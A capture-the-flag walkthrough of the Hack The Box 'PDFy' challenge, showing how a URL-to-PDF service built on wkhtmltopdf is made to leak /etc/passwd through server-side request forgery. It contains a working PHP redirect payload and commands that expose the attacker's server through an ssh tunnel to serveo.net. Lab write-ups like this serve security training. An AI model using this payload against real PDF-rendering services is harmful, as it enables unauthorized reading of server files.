Pentest Everything

Hack The Box | PDFy

In this walkthrough, we will be going through the PDFy box on Hack The Box.

Room Banner

https://app.hackthebox.com/challenges/637

Successfully Pwned PDFy

Completed and pwned this challenge on Hack The Box.

Owned

Hack The Box

Pwned

Box description ​

Welcome to PDFy, the exciting challenge where you turn your favorite web pages into portable PDF documents! It's your chance to capture, share, and preserve the best of the internet with precision and creativity. Join us and transform the way we save and cherish web content! NOTE: Leak /etc/passwd to get the flag!

Challenge Description ​

PDFy is a web application that converts a given URL into a PDF document. The challenge is to leverage this functionality to exploit the system and retrieve the contents of the /etc/passwd file.

Here is an example of a PDF generated by the application when using the URL https://google.com:

PDFy - pdf example

When an invalid URL is provided, the application returns an error message:

There was an error: Error generating PDF: Command '['wkhtmltopdf', '--margin-top', '0', '--margin-right', '0', '--margin-bottom', '0', '--margin-left', '0', 'https://randomrandom', 'application/static/pdfs/319c7764c7ff4a3cb02c5eaa2c9c.pdf']' returned non-zero exit status 1.

From this error message, we can infer that the application uses wkhtmltopdf, a command-line tool for rendering web pages into PDFs.

Vulnerability Analysis ​

wkhtmltopdf is known to be vulnerable to Server-Side Request Forgery (SSRF) attacks. SSRF vulnerabilities allow attackers to make HTTP requests from the server itself, potentially accessing internal resources that are otherwise inaccessible from the outside.

DANGER

The SSRF vulnerability in wkhtmltopdf could lead to severe consequences, including data leakage and unauthorized access to internal server files.

Exploitation - SSRF ​

To exploit the SSRF vulnerability in wkhtmltopdf, we need to create a web page that tricks the server into loading and leaking the /etc/passwd file. This is done by embedding a PHP script that redirects to the local file system of the server.

Step 1: Create the PHP Script ​

We first create the following PHP script that redirects the page to file:///etc/passwd, forcing the server to load the file:

php
<!DOCTYPE html>
<html>
<body>
    <h1>Hello world</h1>
<?php
header('location:file:///etc/passwd');
?>
</body>
</html>

Step 2: Host the PHP Script ​

Next, we host the PHP script on our local machine using the PHP development server:

bash
php -S 0.0.0.0:8000

This allows our machine to serve the PHP script on port 8000.

WARNING

Ensure that your firewall settings allow external connections to the server to make it accessible from the internet.

Step 3: Expose the Local Server to the Internet ​

To make the local PHP server accessible from the internet, we use serveo.net to create a tunnel that exposes our local server:

bash
ssh -R 80:localhost:8000 serveo.net

Now, the PHP script can be accessed via a public URL provided by Serveo.

Step 4: Trigger the SSRF Attack ​

We submit the Serveo URL (e.g., http://[serveo-url]/[php-script]) to the PDFy application’s URL field. When the application attempts to convert the URL to a PDF, the SSRF vulnerability is triggered, causing the server to follow the file:///etc/passwd redirect.

Step 5: Capture the Flag ​

Once the application processes the URL, it retrieves the /etc/passwd file. The flag is included in the server's response, as seen in the PDF output:

Flag - PDFy

With this, we successfully extract the /etc/passwd file and capture the flag.

References ​